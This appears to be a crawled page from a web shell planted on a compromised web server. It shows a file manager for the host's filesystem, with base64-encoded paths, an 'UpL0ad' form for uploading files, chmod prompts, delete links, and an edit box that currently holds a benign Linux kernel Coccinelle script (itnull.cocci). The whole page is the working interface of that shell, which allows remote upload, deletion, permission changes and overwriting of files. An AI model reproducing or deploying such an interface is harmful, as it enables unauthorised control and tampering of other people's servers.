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<hr>itnull.cocci<form method=post action="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=aXRudWxsLmNvY2Np"><input name="f" value="itnull.cocci"><textarea name="t">// SPDX-License-Identifier: GPL-2.0-only
/// Many iterators have the property that the first argument is always bound
/// to a real list element, never NULL.
//# False positives arise for some iterators that do not have this property,
//# or in cases when the loop cursor is reassigned.  The latter should only
//# happen when the matched code is on the way to a loop exit (break, goto,
//# or return).
///
// Confidence: Moderate
// Copyright: (C) 2010-2012 Nicolas Palix.
// Copyright: (C) 2010-2012 Julia Lawall, INRIA/LIP6.
// Copyright: (C) 2010-2012 Gilles Muller, INRIA/LiP6.
// URL: https://coccinelle.gitlabpages.inria.fr/website
// Comments:
// Options: --no-includes --include-headers

virtual patch
virtual context
virtual org
virtual report

@depends on patch@
iterator I;
expression x,E,E1,E2;
statement S,S1,S2;
@@

I(x,...) { &lt;...
(
- if (x == NULL &amp;&amp; ...) S
|
- if (x != NULL || ...)
  S
|
- (x == NULL) ||
  E
|
- (x != NULL) &amp;&amp;
  E
|
- (x == NULL &amp;&amp; ...) ? E1 :
  E2
|
- (x != NULL || ...) ?
  E1
- : E2
|
- if (x == NULL &amp;&amp; ...) S1 else
  S2
|
- if (x != NULL || ...)
  S1
- else S2
|
+ BAD(
  x == NULL
+ )
|
+ BAD(
  x != NULL
+ )
)
  ...&gt; }

@r depends on !patch exists@
iterator I;
expression x,E;
position p1,p2;
@@

*I@p1(x,...)
{ ... when != x = E
(
*  x@p2 == NULL
|
*  x@p2 != NULL
)
  ... when any
}

@script:python depends on org@
p1 &lt;&lt; r.p1;
p2 &lt;&lt; r.p2;
@@

cocci.print_main(&quot;iterator-bound variable&quot;,p1)
cocci.print_secs(&quot;useless NULL test&quot;,p2)

@script:python depends on report@
p1 &lt;&lt; r.p1;
p2 &lt;&lt; r.p2;
@@

msg = &quot;ERROR: iterator variable bound on line %s cannot be NULL&quot; % (p1[0].line)
coccilib.report.print_report(p2[0], msg)
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /usr/src/linux-headers-6.8.0-90/scripts/coccinelle/iterators<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGU="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&x=ZGV2aWNlX25vZGVfY29udGludWUuY29jY2k=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=ZGV2aWNlX25vZGVfY29udGludWUuY29jY2k="/>device_node_continue.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=ZGV2aWNlX25vZGVfY29udGludWUuY29jY2k=&c=`+btoa(c):0" value="0644"></td><td>2175</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&x=Zm9yX2VhY2hfY2hpbGQuY29jY2k=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=Zm9yX2VhY2hfY2hpbGQuY29jY2k="/>for_each_child.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=Zm9yX2VhY2hfY2hpbGQuY29jY2k=&c=`+btoa(c):0" value="0644"></td><td>6261</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&x=aXRudWxsLmNvY2Np">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=aXRudWxsLmNvY2Np"/>itnull.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=aXRudWxsLmNvY2Np&c=`+btoa(c):0" value="0644"></td><td>1662</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&x=bGlzdF9lbnRyeV91cGRhdGUuY29jY2k=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=bGlzdF9lbnRyeV91cGRhdGUuY29jY2k="/>list_entry_update.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=bGlzdF9lbnRyeV91cGRhdGUuY29jY2k=&c=`+btoa(c):0" value="0644"></td><td>1458</td></tr><tr><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&x=dXNlX2FmdGVyX2l0ZXIuY29jY2k=">X</a></td><td><a href="?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=dXNlX2FmdGVyX2l0ZXIuY29jY2k="/>use_after_iter.cocci</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L3Vzci9zcmMvbGludXgtaGVhZGVycy02LjguMC05MC9zY3JpcHRzL2NvY2NpbmVsbGUvaXRlcmF0b3Jz&f=dXNlX2FmdGVyX2l0ZXIuY29jY2k=&c=`+btoa(c):0" value="0644"></td><td>4029</td></tr></table>